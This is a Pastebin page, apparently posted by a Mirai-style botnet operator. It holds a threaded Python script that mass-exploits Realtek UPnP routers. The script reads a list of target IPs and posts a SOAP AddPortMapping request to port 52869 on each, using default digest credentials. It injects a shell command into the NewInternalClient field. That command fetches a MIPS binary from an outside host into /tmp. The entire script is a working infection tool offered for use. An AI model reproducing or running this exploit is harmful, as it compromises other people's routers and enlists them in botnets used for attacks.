Advertisement
miraip0ts

realtek

Mar 16th, 2018
1,187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.31 KB | None | 0 0
  1. #! python !#
  2. import threading, sys, time, random, socket, re, os, struct, array, requests, base64
  3. from requests.auth import HTTPDigestAuth
  4. ips = open(sys.argv[1], "r").readlines()
  5. rm = '''
  6. <?xml version="1.0" ?>
  7. <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  8. <s:Body>
  9. <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
  10. <NewRemoteHost></NewRemoteHost>
  11. <NewExternalPort>47450</NewExternalPort>
  12. <NewProtocol>TCP</NewProtocol>
  13. <NewInternalPort>44382</NewInternalPort>
  14. <NewInternalClient>`cd /tmp/; wget http://xxx.xxx.xxx.xxx/amnyu.mips -O sp`</NewInternalClient>
  15. <NewEnabled>1</NewEnabled>
  16. <NewPortMappingDescription>syncthing</NewPortMappingDescription>
  17. <NewLeaseDuration>0</NewLeaseDuration>
  18. </u:AddPortMapping>
  19. </s:Body>
  20. </s:Envelope>
  21. '''
  22.  
  23. class exploit(threading.Thread):
  24.         def __init__ (self, ip):
  25.             threading.Thread.__init__(self)
  26.             self.ip = str(ip).rstrip('\n')
  27.         def run(self):
  28.             try:
  29.                 url = "http://" + self.ip + ":52869/picsdesc.xml"
  30.                 requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config','admin'), data=rm)
  31.                 print "[Reltek] Loading " + self.ip
  32.             except Exception as e:
  33.                 pass
  34. for ip in ips:
  35.     try:
  36.         n = exploit(ip)
  37.         n.start()
  38.         time.sleep(0.03)
  39.     except:
  40.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement